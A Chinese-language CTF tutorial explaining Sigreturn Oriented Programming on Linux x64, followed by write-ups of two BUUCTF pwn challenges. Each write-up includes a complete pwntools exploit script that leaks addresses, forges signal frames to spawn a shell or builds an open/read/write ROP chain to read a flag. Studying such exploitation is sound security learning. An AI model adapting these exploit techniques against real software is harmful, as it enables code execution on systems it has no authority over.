Srop 的全稱是Sigreturn Oriented Programming
Srop 可以理解成一種高級的ROP,利用了linux下15號系統調用的->rt_sigreturn
Signal
Signal是Unix系統中的一種通信機制,通常用於在進程之間傳遞信息,也可以說是軟中斷信息
常見於在一個進程中,內核向其發送發送軟中斷信號,該進程將暫時被掛起,系統進入內核態
因為是暫時被掛起,所以系統會保留該進程的上下文 (部分內容摘自ctf-wiki)
-
將所有的寄存器壓入棧中,以及signal信息和指向sigreturn的系統調用地址在棧頂上放置rt_sigreturn
此時棧上的內存分布:
這一段內存也被稱為Signal Frame
漏洞利用點
-
Signal Frame 被放置在用戶進程的內存空間中,也就說Signal Frame是可以讀寫的
-
在恢復Signal信號的時候沒有檢測,也就是說我們可以通過改變Signal Frame中的信息來劫持控制流
例如:
rax = 59//對應59號系統調用-> exceve rdi = '/bin/sh' rsi = 0 rdx = 0
這樣就能進行一個最簡單的Srop
Srop鏈
有時候我們希望執行一系列的操作,此時可以通過syscall ret;這個gadget去串聯起我們我們的Srop鏈
執行完一個SignalFrame接着執行下一個SignalFrame。
ciscn_s_3 --BUUCTF
去年國賽的某道題
gadgets 函數:
vuln 函數 :
匯編其實也很好讀,就是系統調用-read/write
read(0,buf,0x400) //-syscall 0 read write(0,buf,0x30) //-syscall 1 write
syscall(系統調用)是根據rax寄存器里的值,來決定進行多少號的系統調用。
在x64系統中,15號系統調用對應rt_sigreturn
此時我們的思路也很簡單,就用write去leak出/bin/sh的地址
讓系統進入Signal之后
我們去劫持Signal Frame就好了
1 frame=SigreturnFrame()#pwntools集成的srop工具 2 frame.rax = constants.SYS_execve 3 frame.rdi = sh_address 4 frame.rsi = 0 5 frame.rdx = 0 6 frame.rip = syscall_ret
exp:
from pwn import * context.arch = 'amd64' context.log_level = 'debug' #p = process('./ciscn_s_3') p = remote('node3.buuoj.cn',28916) set_rax_15 = 0x4004DA rw = 0x4004F1 syscall_ret = 0x400517 syscall = 0x400501 payload = '/bin/sh\x00' + 'a'*0x8 + p64(rw) p.send(payload) p.recv(32) sh_address = u64(p.recv(8)) - 0x118# leak stack p.recv(8) #init srop frame = SigreturnFrame() frame.rax = 59 frame.rdi = sh_address frame.rsi = 0 frame.rdx = 0 frame.rip = syscall_ret #second read payload = 'a'*0x10+p64(set_rax_15)+p64(syscall_ret)+str(frame) p.send(payload) p.interactive()
V&N公開賽 babybabypwn --BUUCTF
這題開了沙盒,沒法拿shell,是通過srop來寫orw讀flag,保護全開
IDA:
char buf; // [rsp+0h] [rbp-110h] unsigned __int64 v2; // [rsp+108h] [rbp-8h] v2 = __readfsqword(0x28u); puts("Welcome to v&n challange!"); printf("Here is my gift: 0x%llx\n", &puts); printf("Please input magic message: "); read(0, &buf, 0x100uLL); syscall(15LL, &buf); return __readfsqword(0x28u) ^ v2;
-
值得注意的是read是沒有溢出的,題目給了syscall(15LL, &buf),就只能srop
-
還是用到我們pwntools里集成的工具SigreturnFrame()生成signalframe
-
然后就是寫orw了
exp :
from pwn import * context(log_level='debug', arch='amd64') p = remote('node3.buuoj.cn', 27151) libc = ELF('./libc-2.23.so') p.recvuntil('gift: ') puts_addr = int(p.recv(14), 16) log.info(hex(puts_addr)) libc_base = puts_addr - libc.sym['puts'] open_addr = libc_base + libc.sym['open'] read_addr = libc_base + libc.sym['read'] write_addr = libc_base + libc.sym['write'] pop_rdi_ret = libc_base + 0x21102 pop_rsi_ret = libc_base + 0x202e8 pop_rdx_ret = libc_base + 0x01b92 bss = libc_base + libc.bss() rop_addr = bss + 0x100 frame = SigreturnFrame() frame.rdi = 0x0 # syscall 0 -> read frame.rsi = rop_addr frame.rdx = 0x100 frame.rip = read_addr frame.rsp = rop_addr #相當於棧遷移到bss +0x100上進行rop p.sendafter('message: ', str(frame)[8:]) str_flag_addr = rop_addr + 0x98 #0x98是為了讓open讀到flag的字符 payload = p64(pop_rdi_ret) + p64(str_flag_addr) + p64(pop_rsi_ret) + p64(0x0) + p64(open_addr) # open('flag') payload += p64(pop_rdi_ret) + p64(0x3) + p64(pop_rsi_ret) + p64(bss) + p64(pop_rdx_ret) + p64(0x30) + p64(read_addr) # read(3,bss,0x40) 3是因為open默認打開stdin->0 stdout->1 stderr->2,接下來打開就是3 payload += p64(pop_rdi_ret) + p64(0x1) + p64(pop_rsi_ret) + p64(bss) + p64(pop_rdx_ret) + p64(0x30) + p64(write_addr) # write(1,bss,0x40) payload += 'flag\x00' p.send(payload) p.interactive()